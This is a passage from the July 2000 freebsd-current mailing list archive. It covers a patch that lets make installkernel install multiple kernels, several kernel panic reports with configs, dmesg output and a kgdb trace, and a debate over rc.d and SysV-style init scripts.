09, 2000 at 20:49:50 -0700, Kris Kennaway wrote: > Subject basically says it all. "make buildkernel KERNEL=" and > "make installkernel KERNEL=" (or set KERNEL in /etc/make.conf or > the environment, where KERNEL is the name of the kernel to build (GENERIC, > etc)) are what you should always be using to build your kernels, unless > you know what you're doing. > I found it was a good idea (by experience), to always have an up to date version of the GENERIC-kernel available in /. Since it is possible to build two kernel by saying # make buildkernel KERNEL="mykernel GENERIC" it would also be nice to have the possibility to install both new kernels to / (instead of only installing the first) by saying # make installkernel KERNEL="mykernel GENERIC" Attached you find a patch to do this. Best regards. -- Udo Schweigert, Siemens AG | Voice : +49 89 636 42170 ZT IK 3, Siemens CERT | Fax : +49 89 636 41166 D-81730 Muenchen / Germany | email : ust@cert.siemens.de PGP-2/5 fingerprint | D8 A5 DF 34 EC 87 E8 C6 E2 26 C4 D0 EE 80 36 B2 --- Makefile.inc1.orig Sun Jul 2 13:00:19 2000 +++ Makefile.inc1 Mon Jul 10 09:25:36 2000 @@ -356,13 +356,11 @@ .endif BUILDKERNELS= -INSTALLKERNEL= +INSTALLKERNELS= .for _kernel in ${KERNEL} .if exists(${KRNLCONFDIR}/${_kernel}) BUILDKERNELS+= ${_kernel} -.if empty(INSTALLKERNEL) -INSTALLKERNEL= ${_kernel} -.endif +INSTALLKERNELS+= ${_kernel} .endif .endfor @@ -393,12 +391,14 @@ # # installkernel # -# Install the kernel defined by INSTALLKERNEL +# Install the kernels defined by INSTALLKERNELS # installkernel: - cd ${KRNLOBJDIR}/${INSTALLKERNEL}; \ - ${IMAKEENV} MACHINE=${MACHINE} KERNEL=${INSTALLKERNEL} \ +.for _kernel in ${INSTALLKERNELS} + cd ${KRNLOBJDIR}/${_kernel}; \ + ${IMAKEENV} MACHINE=${MACHINE} KERNEL=${_kernel} \ ${MAKE} install +.endfor # # update To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 2:42:55 2000 Delivered-To: freebsd-current@freebsd.org Received: from numeri.campus.luth.se (numeri.campus.luth.se [130.240.197.103]) by hub.freebsd.org (Postfix) with ESMTP id 78C0E37C5A1; Mon, 10 Jul 2000 02:42:50 -0700 (PDT) (envelope-from k@numeri.campus.luth.se) Received: from numeri.campus.luth.se (localhost [127.0.0.1]) by numeri.campus.luth.se (8.9.3/8.9.3) with ESMTP id LAA63435; Mon, 10 Jul 2000 11:48:06 +0200 (CEST) (envelope-from k@numeri.campus.luth.se) Message-Id: <200007100948.LAA63435@numeri.campus.luth.se> X-Mailer: exmh version 2.1.1 10/15/1999 To: Kris Kennaway Cc: current@FreeBSD.ORG Subject: Re: HEADS UP! Always use the 'make buildkernel' target to make yer kernels (fwd) In-reply-to: Your message of "Mon, 10 Jul 2000 00:38:08 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 10 Jul 2000 11:48:06 +0200 From: Johan Karlsson Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi all, Please have a look at the patch in PR 17698 http://www.freebsd.org/cgi/query-pr.cgi?pr=17698 It deal with this problem. /K To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 3:17: 3 2000 Delivered-To: freebsd-current@freebsd.org Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16]) by hub.freebsd.org (Postfix) with ESMTP id 1F72B37B653 for ; Mon, 10 Jul 2000 03:16:58 -0700 (PDT) (envelope-from bde@zeta.org.au) Received: from bde.zeta.org.au (bde.zeta.org.au [203.2.228.102]) by mailman.zeta.org.au (8.8.7/8.8.7) with ESMTP id UAA09641; Mon, 10 Jul 2000 20:16:45 +1000 Date: Mon, 10 Jul 2000 20:16:40 +1000 (EST) From: Bruce Evans X-Sender: bde@besplex.bde.org To: Ollivier Robert Cc: "FreeBSD Current Users' list" , mckusick@mckusick.com Subject: Re: Multiple free panic on SMP In-Reply-To: <20000709155146.A30086@keltia.freenix.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 9 Jul 2000, Ollivier Robert wrote: > After updating to the very latest current code, I get a multiple free panic on > my SMP machine. It always happen during buildworld in libc_r. > > Important note : I have the snapshot code from Kirk. > > The panic is in random_read which does a free. Here is the trace. This should be fixed it rev.1.7 of randomdev.c. > ... > (kgdb) up > #11 0xc0144340 in random_read (dev=0xc031e3c8, uio=0xc667bed8, flag=131072) > at ../../dev/randomdev/randomdev.c:100 > warning: Source file is more recent than executable. > > 100 ret = read_random(random_buf, c); > (kgdb) list > 95 void *random_buf; Source file has the fix :-). Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 3:57:51 2000 Delivered-To: freebsd-current@freebsd.org Received: from md5.follo.net (isdn-24.follo.net [195.204.140.113]) by hub.freebsd.org (Postfix) with ESMTP id F327E37B555 for ; Mon, 10 Jul 2000 03:57:41 -0700 (PDT) (envelope-from des@flood.ping.uio.no) Received: (from des@localhost) by md5.follo.net (8.9.3/8.9.3) id MAA00403; Mon, 10 Jul 2000 12:55:41 +0200 (CEST) (envelope-from des@flood.ping.uio.no) X-Authentication-Warning: md5.follo.net: des set sender to des@flood.ping.uio.no using -f To: current@freebsd.org Subject: panic From: Dag-Erling Smorgrav Date: 10 Jul 2000 12:55:40 +0200 Message-ID: <867lau9rv7.fsf@md5.follo.net> Lines: 19 User-Agent: Gnus/5.0802 (Gnus v5.8.2) Emacs/20.5 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --=-=-= I get easily reproducable panics (supervisor read, page not present) in today's -CURRENT; yesterday's sources with the same config works fine. The kernel panics almost immediately if I run something that does a lot of writing to disk, such as a kernel or port build. It refuses to dump (dump already in progress) and I don't have a serial console handy for DDB, so no dump or backtrace, though according to nm(1) the page fault occurs in xpt_release_devq() in aic7xxx.c. I've attached the kernel config and the output of dmesg (from the kernel that works, not the one that panics). --=-=-= Content-Disposition: attachment; filename=MD5 Content-Description: kernel config # # Kernel configuration for md5.follo.net # machine i386 cpu I586_CPU ident MD5 maxusers 64 # Debugging options DDB options KTRACE # Networking options INET #options IPFIREWALL, IPFIREWALL_VERBOSE # File system options FFS, FFS_ROOT, SOFTUPDATES options PROCFS # XFree86 support options SYSVMSG, SYSVSEM, SYSVSHM options UCONSOLE # Misc. kernel options options AUTO_EOI_1, AUTO_EOI_2 options COMPAT_43 options INCLUDE_CONFIG_FILE options RANDOMDEV # POSIX real-time extensions options P1003_1B options _KPOSIX_PRIORITY_SCHEDULING options _KPOSIX_VERSION=199309L config kernel # Buses device isa device pci device apm # Numeric processor extensions device npx # Floppy controller device fdc # ATAPI controllers device ata device atadisk # SCSI controllers device ahc device scbus options SCSI_DELAY=2000 device pass device da device sa options SA_SPACE_TIMEOUT="(4*60)" device cd # System console and mouse device atkbdc device atkbd #device psm device vga device sc 1 options SC_DFLT_FONT makeoptions SC_DFLT_FONT=iso options SC_PIXEL_MODE options SC_HISTORY_SIZE=1024 device splash options VESA # I/O ports device sio device sio device ppc # PPBus devices device ppbus device lpt device plip device ppi # Network adapters #device miibus #device fxp # TeleS S0/16.3 passive ISDN adapter options TEL_S0_16_3 device isic # ISDN protocol stack device "i4bq921" device "i4bq931" device "i4b" # ISDN devices device "i4btrc" 4 device "i4bctl" device "i4brbch" 4 device "i4btel" 2 # Networking pseudo-devices device loop 2 device ether device tun device bpf # Other pseudo-devices device pty device vn # Audio codec device pcm device sbc --=-=-= --=-=-= Content-Disposition: attachment; filename=dmesg.boot Content-Description: dmesg output Copyright (c) 1992-2000 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 5.0-CURRENT #30: Sun Jul 9 22:44:49 CEST 2000 des@md5.follo.net:/usr/src/sys/compile/MD5 Timecounter "i8254" frequency 1193182 Hz CPU: Pentium/P54C (166.19-MHz 586-class CPU) Origin = "GenuineIntel" Id = 0x52c Stepping = 12 Features=0x1bf real memory = 134217728 (131072K bytes) avail memory = 127635456 (124644K bytes) Preloaded elf kernel "kernel.works" at 0xc02cc000. Intel Pentium detected, installing workaround for F00F bug VESA: v2.0, 2304k memory, flags:0x0, mode table:0xc0274d42 (1000022) VESA: Tseng Labs ET6000 npx0: on motherboard npx0: INT 16 interface apm0: on motherboard apm: found APM BIOS v1.2, connected at v1.2 pcib0: on motherboard pci0: on pcib0 pci0: at 0.0 isab0: at device 7.0 on pci0 isa0: on isab0 atapci0: port 0xe800-0xe80f at device 7.1 on pci0 ata0: at 0x1f0 irq 14 on atapci0 pci0: at 9.0 irq 9 pci0: (vendor=0x8086, dev=0x1229) at 10.0 irq 9 pci0: (vendor=0x1274, dev=0x1371) at 11.0 irq 12 ahc0: port 0xd000-0xd0ff mem 0xf8000000-0xf8000fff irq 11 at device 12.0 on pci0 ahc0: aic7880 Wide Channel A, SCSI Id=7, 16/255 SCBs vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 sc0: on isa0 sc0: VGA <16 virtual consoles, flags=0x200> atkbdc0: at port 0x60,0x64 on isa0 atkbd0: irq 1 on atkbdc0 fdc0: at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: <1440-KB 3.5" drive> on fdc0 drive 0 isic0 at port 0xd80-0xd9f,0x980-0x99f,0x180-0x19f,0x580-0x59f irq 5 flags 0x3 on isa0 isic0: Teles S0/16.3 ppc0: at port 0x378-0x37b irq 7 on isa0 ppc0: SMC-like chipset (ECP/EPP/PS2/NIBBLE) in COMPATIBLE mode ppc0: FIFO with 16/16/15 bytes threshold ppi0: on ppbus0 lpt0: on ppbus0 lpt0: Interrupt-driven port plip0: on ppbus0 isa0: <@@@0000> found sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A sio1 at port 0x2f8-0x2ff irq 3 on isa0 sio1: type 16550A isa0: <@@@0000> found unknown: can't assign resources unknown: can't assign resources unknown: can't assign resources unknown: can't assign resources unknown: can't assign resources isa0: found IP packet filtering initialized, divert disabled, rule-based forwarding disabled, default to deny, unlimited logging i4b: ISDN call control device attached i4bctl: ISDN system control port attached i4btel: 2 ISDN telephony interface device(s) attached i4brbch: 4 raw B channel access device(s) attached i4btrc: 4 ISDN trace device(s) attached ad0: 6149MB [13328/15/63] at ata0-master using WDMA2 Waiting 2 seconds for SCSI devices to settle sa0 at ahc0 bus 0 target 3 lun 0 sa0: Removable Sequential Access SCSI-2 device sa0: 10.000MB/s transfers (10.000MHz, offset 8) Mounting root from ufs:/dev/da0a da0 at ahc0 bus 0 target 2 lun 0 da0: Fixed Direct Access SCSI-2 device da0: 40.000MB/s transfers (20.000MHz, offset 8, 16bit), Tagged Queueing Enabled da0: 4341MB (8890760 512 byte sectors: 255H 63S/T 553C) cd0 at ahc0 bus 0 target 5 lun 0 cd0: Removable CD-ROM SCSI-2 device cd0: 10.000MB/s transfers (10.000MHz, offset 8) cd0: Attempt to query device size failed: NOT READY, Medium not present da1 at ahc0 bus 0 target 4 lun 0 da1: Fixed Direct Access SCSI-2 device da1: 10.000MB/s transfers (10.000MHz, offset 15), Tagged Queueing Enabled da1: 1030MB (2110812 512 byte sectors: 255H 63S/T 131C) WARNING: / was not properly dismounted --=-=-= DES -- Dag-Erling Smorgrav - des@flood.ping.uio.no --=-=-=-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 6: 4:17 2000 Delivered-To: freebsd-current@freebsd.org Received: from apollo.ocsny.com (apollo.ocsny.com [204.107.76.2]) by hub.freebsd.org (Postfix) with ESMTP id 3442137B702; Mon, 10 Jul 2000 06:04:06 -0700 (PDT) (envelope-from mikel@ocsny.com) Received: from ocsny.com (thoth.upan.org [204.107.76.16]) by apollo.ocsny.com (8.9.2/8.9.3) with ESMTP id JAA05250; Mon, 10 Jul 2000 09:04:32 -0400 (EDT) Message-ID: <3969CB43.73363414@ocsny.com> Date: Mon, 10 Jul 2000 09:10:27 -0400 From: Mikel Organization: Optimized Computer Solutions, Inc. X-Mailer: Mozilla 4.73 [en] (Win98; U) X-Accept-Language: en,it MIME-Version: 1.0 To: Kelly Yancey Cc: Mike Meyer , current@FreeBSD.ORG, cvs-all@FreeBSD.ORG Subject: Re: etc/rc.d & things... References: Content-Type: multipart/mixed; boundary="------------B53A7CC8E2FAB667CEE56A53" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. --------------B53A7CC8E2FAB667CEE56A53 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Kelly Yancey wrote: > On Sat, 8 Jul 2000, Mike Meyer wrote: > > > > By all means, use start/stop args, but hard link the .sh files into seperate > > > directories or something so that the order can be tweaked.. > > > > If all you want is to make sure that shutdown happens in the reverse > > order of startup, that can be done by reversing the list in > > rc.shutdown. But how about going a step further, and starting towards > > a user-friendly configuration process? > > > > Instead of being globbed at init time, etc/rc.d is a repository for > > things that take start/stop arguments. They are symlinked to > > /etc/init.d with numeric prefixes to control order at initialization > > time. Likewise, they can be symlinked to /etc/down.d (or shutdown.d) > > with numeric prefixes to control order at shutdown time. > > > > How about rather then separate directories, you prefix the symlink names > with 'S' for startup scripts and 'K' (for "kill") for shutdown scripts. Then, > you rename rc.d to rc3.d... I like it. It's clean and simple, almost to the point of being elegant. But why bother adding rc?.d if you are going to right it to handle s or k then the present home should be fine, no? > > > Ducks and runs, > > Kelly > > -- > Kelly Yancey - kbyanc@posi.net - Belmont, CA > System Administrator, eGroups.com http://www.egroups.com/ > Maintainer, BSD Driver Database http://www.posi.net/freebsd/drivers/ > Coordinator, Team FreeBSD http://www.posi.net/freebsd/Team-FreeBSD/ > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message -- Cheers, Mikel +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+ | Optimized Computer Solutions, Inc http://www.ocsny.com | 39 W14th Street, Suite 203 212 727 2238 x132 | New York, NY 10011 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+ --------------B53A7CC8E2FAB667CEE56A53 Content-Type: text/x-vcard; charset=us-ascii; name="mikel.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Mikel Content-Disposition: attachment; filename="mikel.vcf" begin:vcard n:King;Mikel tel;fax:2124638402 tel;home:http://www.upan.org tel;work:2127272100 x-mozilla-html:TRUE org:Optimized Computer Solutions version:2.1 email;internet:mikel@ocsny.com title:Director of Network Operations & Technology adr;quoted-printable:;;39 W14th St.=0D=0ASte 203;New York;NY;10011;US note;quoted-printable:fBSD, PHP, MySql and OCS Rule!!!=0D=0A=0D=0AGoal is to be MS free by the end of 2k. x-mozilla-cpt:;7312 fn:Mikel King end:vcard --------------B53A7CC8E2FAB667CEE56A53-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 6:25:19 2000 Delivered-To: freebsd-current@freebsd.org Received: from gorilla.mchh.siemens.de (gorilla.mchh.siemens.de [194.138.158.18]) by hub.freebsd.org (Postfix) with ESMTP id E8D0B37B725 for ; Mon, 10 Jul 2000 06:25:10 -0700 (PDT) (envelope-from Michael.Reifenberger.gp@icn.siemens.de) Received: from moody.mchh.siemens.de (mail2.mchh.siemens.de [194.138.158.226]) by gorilla.mchh.siemens.de (8.9.3/8.9.3) with ESMTP id PAA23270 for ; Mon, 10 Jul 2000 15:24:32 +0200 (MET DST) Received: from mchh247e.demchh201e.icn.siemens.de ([218.1.68.147]) by moody.mchh.siemens.de (8.9.1/8.9.1) with ESMTP id PAA20062 for ; Mon, 10 Jul 2000 15:24:40 +0200 (MET DST) Received: by MCHH247E with Internet Mail Service (5.5.2448.0) id ; Mon, 10 Jul 2000 15:25:02 +0200 Message-ID: <67E0BE167008D31185F60008C7289DA0E12E9A@mchh218e.demchh201e.oen.siemens.de> From: Reifenberger Michael To: "'freebsd-current@freebsd.org'" Subject: Closing kern/18019 Date: Mon, 10 Jul 2000 15:24:58 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, could someone please close kern/18019 since it was solved some time ago. Bye/2 ------ Michael Reifenberger - IT, UNIX, R/3-Basis Work: Michael.Reifenberger@plaut.de Proj: Michael.Reifenberger.gp@icn.siemens.de Pers: Michael@Reifenberger.com Webspace: http://www.reifenberger.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 6:55:40 2000 Delivered-To: freebsd-current@freebsd.org Received: from daemon.solid.se (daemon.solid.se [193.15.190.194]) by hub.freebsd.org (Postfix) with ESMTP id 5B7D137BBF6 for ; Mon, 10 Jul 2000 06:55:25 -0700 (PDT) (envelope-from johan@granlund.nu) Received: from phoenix.granlund.nu (t3o90p90.telia.com [195.67.217.90]) (authenticated) by daemon.solid.se (8.10.1/8.10.1) with ESMTP id e6ADtLm18972; Mon, 10 Jul 2000 15:55:21 +0200 (CEST) Received: from localhost (johan@localhost) by phoenix.granlund.nu (8.10.1/8.10.1) with ESMTP id e6ADtGR03936; Mon, 10 Jul 2000 15:55:18 +0200 (CEST) Date: Mon, 10 Jul 2000 15:55:16 +0200 (CEST) From: Johan Granlund To: Mikel Cc: Kelly Yancey , Mike Meyer , current@FreeBSD.ORG Subject: Re: etc/rc.d & things... In-Reply-To: <3969CB43.73363414@ocsny.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Please Please Please _Dont_!!! I dont know if someone is yoking, my english is not up to that :( I tried to secure a Solaris machine and hated the whole setup. I't have some good things but i take the simple rc.conf mechanism every time! /Johan On Mon, 10 Jul 2000, Mikel wrote: > > > Kelly Yancey wrote: > > > On Sat, 8 Jul 2000, Mike Meyer wrote: > > > > > > By all means, use start/stop args, but hard link the .sh files into seperate > > > > directories or something so that the order can be tweaked.. > > > > > > If all you want is to make sure that shutdown happens in the reverse > > > order of startup, that can be done by reversing the list in > > > rc.shutdown. But how about going a step further, and starting towards > > > a user-friendly configuration process? > > > > > > Instead of being globbed at init time, etc/rc.d is a repository for > > > things that take start/stop arguments. They are symlinked to > > > /etc/init.d with numeric prefixes to control order at initialization > > > time. Likewise, they can be symlinked to /etc/down.d (or shutdown.d) > > > with numeric prefixes to control order at shutdown time. > > > > > > > How about rather then separate directories, you prefix the symlink names > > with 'S' for startup scripts and 'K' (for "kill") for shutdown scripts. Then, > > you rename rc.d to rc3.d... > > I like it. It's clean and simple, almost to the point of being elegant. But why > bother adding rc?.d if you are going to right it to handle s or k then the present > home should be fine, no? > > > > > > > > Ducks and runs, > > > > Kelly > > > > -- > > Kelly Yancey - kbyanc@posi.net - Belmont, CA > > System Administrator, eGroups.com http://www.egroups.com/ > > Maintainer, BSD Driver Database http://www.posi.net/freebsd/drivers/ > > Coordinator, Team FreeBSD http://www.posi.net/freebsd/Team-FreeBSD/ > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-current" in the body of the message > > -- > Cheers, > Mikel > +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+ > | Optimized Computer Solutions, Inc http://www.ocsny.com > | 39 W14th Street, Suite 203 212 727 2238 x132 > | New York, NY 10011 > +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+ > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 8:11:21 2000 Delivered-To: freebsd-current@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id 30DA937B52C for ; Mon, 10 Jul 2000 08:11:16 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com (p29-dn03kiryunisiki.gunma.ocn.ne.jp [210.232.224.158]) by peach.ocn.ne.jp (8.9.1a/OCN/) with ESMTP id AAA08171; Tue, 11 Jul 2000 00:11:09 +0900 (JST) Message-ID: <3969D84A.D23A84B6@newsguy.com> Date: Mon, 10 Jul 2000 23:06:02 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.7 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: Mike Meyer Cc: clefevre@citeweb.net, freebsd-current@FreeBSD.ORG Subject: Re: etc/rc.d & things... References: <14695.51428.314772.426883@guru.mired.org> <14697.31325.422020.803101@guru.mired.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Mike Meyer wrote: > > Yes, that's correct. And yes, not all is bad in SysV. In particular, > having a directory where you can find scripts to stop (and restart) > subsystems is very nice. I think the multiple levels (rc?.d) is a bit > of overkill. Either the system is up (meaning everything is turned > on), or it's down, and the sysadmin who brought it down can start the > subsystems s/he needs. Having a single init.d to look in for those > things helps in that process. The multiple levels are there to deal with changes in state. In BSD, for instance, we have single user/multi-user. A number of other variations can exist, both in heavy duty servers where you might want to bring certain services down for upgrade and then back up, and "desktop" machines, such as notebooks where you can be stand-alone, docked into different networks (eg. home/work). Thing is, SysV does it in a very ugly way, and not flexible enough either. This has been talked to death. Look at these: http://www.freebsd.org/~dfr/devices.html http://www.freebsd.org/~eivind/newrc.html and my favorite substitute proposal: http://www.roguetrader.com/~brandon/sas/. -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org capo@the.great.underground.bsdconpiracy.org _DES: The Book of Bruce has only one sentence in it, and it says "the actual directives of my cult are left as an exercise for the reader. Good luck." jkh: does it really include the 'good luck' part? EE: OK, I made that part up. EE: I figured it should sound a bit more cheery than how Bruce initially dictated it to me. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 8:51:51 2000 Delivered-To: freebsd-current@freebsd.org Received: from shadowmere.student.utwente.nl (wit401305.student.utwente.nl [130.89.236.145]) by hub.freebsd.org (Postfix) with ESMTP id 4EAEE37BA71 for ; Mon, 10 Jul 2000 08:51:42 -0700 (PDT) (envelope-from daeron@wit401305.student.utwente.nl) Received: by shadowmere.student.utwente.nl (Postfix, from userid 1000) id 15DA32013; Mon, 10 Jul 2000 17:51:41 +0200 (CEST) Date: Mon, 10 Jul 2000 17:51:40 +0200 From: Pascal Hofstee To: freebsd-current@freebsd.org Subject: sudden CURRENT-crashes Message-ID: <20000710175140.A767@shadowmere.student.utwente.nl> Reply-To: daeron@shadowmere.student.utwente.nl Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="0F1p//8PRICkK4MW" X-Mailer: Mutt 1.0.1i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --0F1p//8PRICkK4MW Content-Type: text/plain; charset=us-ascii As of a buildworld/installworld several hours ago CURRENT is constantly crashing from underneath me: [ output from uname -a ]---------- FreeBSD shadowmere.student.utwente.nl 5.0-CURRENT FreeBSD 5.0-CURRENT #0: Mon Jul 10 14:33:42 CEST 2000 daeron@shadowmere.student.utwente.nl:/usr/src/sys/compile/ARSENIC i386 I managed to get one crash-dump (i don't know how to actually debug this but if someone can give me directions i would like to help out) i have attached dmesg output, as well as a kgdb-session taken as far as i could from from the example in the Handbook ... This has just started happening with this specific CURRENT. -- Pascal Hofstee < daeron @ shadowmere . student . utwente . nl > Managers know it must be good because the programmers hate it so much. --0F1p//8PRICkK4MW Content-Type: text/plain Content-Disposition: attachment; filename="dmesg.txt" Copyright (c) 1992-2000 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 5.0-CURRENT #0: Mon Jul 10 14:33:42 CEST 2000 daeron@shadowmere.student.utwente.nl:/usr/src/sys/compile/ARSENIC Timecounter "i8254" frequency 1193182 Hz Timecounter "TSC" frequency 336803605 Hz CPU: AMD-K6(tm) 3D processor (336.80-MHz 586-class CPU) Origin = "AuthenticAMD" Id = 0x58c Stepping = 12 Features=0x8021bf AMD Features=0x80000800 real memory = 100663296 (98304K bytes) avail memory = 95244288 (93012K bytes) Preloaded elf kernel "kernel" at 0xc029b000. Preloaded elf module "randomdev.ko" at 0xc029b09c. K6-family MTRR support enabled (2 registers) npx0: on motherboard npx0: INT 16 interface pcib0: on motherboard pci0: on pcib0 pci0: at 0.0 isab0: at device 1.0 on pci0 isa0: on isab0 atapci0: port 0xe000-0xe00f at device 1.1 on pci0 ata0: at 0x1f0 irq 14 on atapci0 ata1: at 0x170 irq 15 on atapci0 pci0: at 1.2 intpm0: port 0xe800-0xe80f irq 9 at device 1.3 on pci0 intpm0: I/O mapped e800 intpm0: intr IRQ 9 enabled revision 0 smbus0: on intsmb0 smb0: on smbus0 intpm0: PM I/O mapped e400 pci0: at 10.0 irq 9 pci0: (vendor=0x10d9, dev=0x0512) at 11.0 irq 11 atkbdc0: at port 0x60,0x64 on isa0 atkbd0: irq 1 on atkbdc0 psm0: flags 0x4 irq 12 on atkbdc0 psm0: model Generic PS/2 mouse, device ID 0 ed0 at port 0x300-0x31f iomem 0xd8000-0xdbfff irq 10 on isa0 ed0: address 00:00:c0:f0:38:c4, type SMC8216/SMC8216C (16 bit) fdc0: at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: <1440-KB 3.5" drive> on fdc0 drive 0 isa0: <@@@0000> found sc0: on isa0 sc0: VGA <16 virtual consoles, flags=0x200> sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A sio1 at port 0x2f8-0x2ff irq 3 on isa0 sio1: type 16550A vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 isa0: <@@@0000> found isa0: <@@@0000> found isa0: found unknown: can't assign resources unknown: can't assign resources unknown: can't assign resources unknown: can't assign resources unknown: can't assign resources isa0: found unknown: can't assign resources IP packet filtering initialized, divert enabled, rule-based forwarding disabled, default to deny, unlimited logging ata0-master: DMA limitted to UDMA33, non-ATA66 compliant cable ad0: 17624MB [35808/16/63] at ata0-master using UDMA33 ad1: 9671MB [19650/16/63] at ata1-master using UDMA33 acd0: CD-RW at ata0-slave using WDMA2 Mounting root from ufs:/dev/ad0s1a WARNING: / was not properly dismounted dc0: port 0xd400-0xd4ff mem 0xdf800000-0xdf8000ff irq 11 at device 11.0 on pci0 dc0: Ethernet address: 00:00:b4:74:58:43 miibus0: on dc0 ukphy0: on miibus0 ukphy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto --0F1p//8PRICkK4MW Content-Type: text/plain Content-Disposition: attachment; filename="crashdump.txt" Script started on Mon Jul 10 17:41:21 2000 101 shadowmere ~ # cd /usr/src/sys/compile/ARSENIC/ 102 shadowmere ARSENIC # gdb -k kernel.debug /var/crash/vmcore.3 GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-unknown-freebsd"... IdlePTD 2805760 initial pcb at 2347e0 panicstr: page fault panic messages: --- Fatal trap 12: page fault while in kernel mode fault virtual address = 0x771d538 fault code = supervisor read, page not present instruction pointer = 0x8:0xc0382e79 Fatal trap 12: page fault while in kernel mode fault virtual address = 0x458a28c4 fault code = supervisor write, page not present instruction pointer = 0x8:0xc01df551 stack pointer = 0x10:0xc7f00b90 frame pointer = 0x10:0x23c code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags = interrupt enabled, resume, IOPL = 0 current process = 8828 (make) interrupt mask = trap number = 12 panic: page fault syncing disks... 277 10 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 giving up on 7 buffers Uptime: 12m25s dumping to dev #ad/0x20001, offset 851968 dump ata0: resetting devices .. done 96 95 94 93 92 91 90 89 88 87 86 85 84 83 82 81 80 79 78 77 76 75 74 73 72 71 70 69 68 67 66 65 64 63 62 61 60 59 58 57 56 55 54 53 52 51 50 49 48 47 46 45 44 43 42 41 40 39 38 37 36 35 34 33 32 31 30 29 28 27 26 25 24 23 22 21 20 19 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 --- #0 boot (howto=256) at ../../kern/kern_shutdown.c:303 303 dumppcb.pcb_cr3 = rcr3(); (kgdb) where #0 boot (howto=256) at ../../kern/kern_shutdown.c:303 #1 0xc0133419 in panic (fmt=0xc020ea2f "page fault") at ../../kern/kern_shutdown.c:553 #2 0xc01df74a in trap_fatal (frame=0xc7f00b50, eva=1166682308) at ../../i386/i386/trap.c:927 #3 0xc01df3fd in trap_pfault 